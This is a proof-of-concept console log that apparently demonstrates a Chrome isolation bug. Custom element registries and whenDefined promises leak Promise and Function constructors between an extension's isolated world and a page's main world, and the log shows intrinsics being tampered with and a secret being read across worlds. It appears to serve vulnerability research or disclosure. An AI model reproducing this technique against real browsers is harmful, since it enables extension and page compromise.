=== POC console output (full log: /tmp/chrome-poc.wrx9r3.log) === [ISOLATED-WORLD] window.customElements = null (expected: null — guarded by IsMainWorld()) [ISOLATED-WORLD] document.customElementRegistry = [object CustomElementRegistry] (BUG A: should be null in isolated world, but is exposed) [ISOLATED-WORLD] seeded when_defined_promise_map_["x-isofirst"] with isolated-world resolver [MAIN-WORLD] whenDefined("x-isofirst") proto === our Promise.prototype ? false (BUG B path 1: foreign-world Promise!) [MAIN-WORLD] q.constructor === (our) Promise ? false (false => holding the isolated-world Promise constructor) [MAIN-WORLD] isoFunction === (our) Function ? false (false => holding the isolated-world Function constructor) [894:894:0516/171439.357914:INFO:CONSOLE:11] "[MAIN-WORLD] isoFunction() blocked by content-script CSP (MV3 hardening): Evaluating a string as JavaScript violates the following Content Security Policy directive because 'unsafe-eval' is not an allowed source of script: script-src 'self' 'wasm-unsafe-eval' 'inline-speculation-rules' http://localhost:* http://127.0.0.1:* chrome-extension://d4354f02-a55a-4eda-a941-25c30134111c/". [MAIN-WORLD] ...but e instanceof (our) Error == false (false => even the thrown EvalError is a foreign-realm object) [ISOLATED-WORLD] Promise.prototype.__PWNED_BY_PAGE = "page wrote to isolated-world Promise.prototype" (page tampered with isolated-world intrinsics, no eval needed) [ISOLATED-WORLD] whenDefined("x-mainfirst") promise proto === our Promise.prototype ? false (BUG B path 1: foreign-world Promise!) [ISOLATED-WORLD] EXPLOIT(ext->page): executed main-world code, read __MAIN_WORLD_SECRET = "secret-from-page-main-world" [ISOLATED-WORLD] whenDefined("x-defined") resolved value instanceof (our) Function ? false (BUG B path 2: foreign-world v8::Function!) [ISOLATED-WORLD] EXPLOIT(path 2): main-world Function ctor returned "secret-from-page-main-world" [MAIN-WORLD] post-exploit: window.__OWNED_FROM_ISOLATED = "isolated-world executed in main world" [MAIN-WORLD] === POC complete ===